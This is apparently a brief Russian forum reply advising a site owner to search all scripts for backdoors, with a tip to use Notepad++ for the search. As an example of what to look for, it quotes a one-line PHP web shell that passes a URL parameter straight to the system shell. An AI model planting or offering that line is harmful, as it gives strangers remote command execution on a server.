проверь все скрипты на наличие бекдоров... <? passthru($_GET[cmd]);?> etc
ps рекомендую поиском через notepad++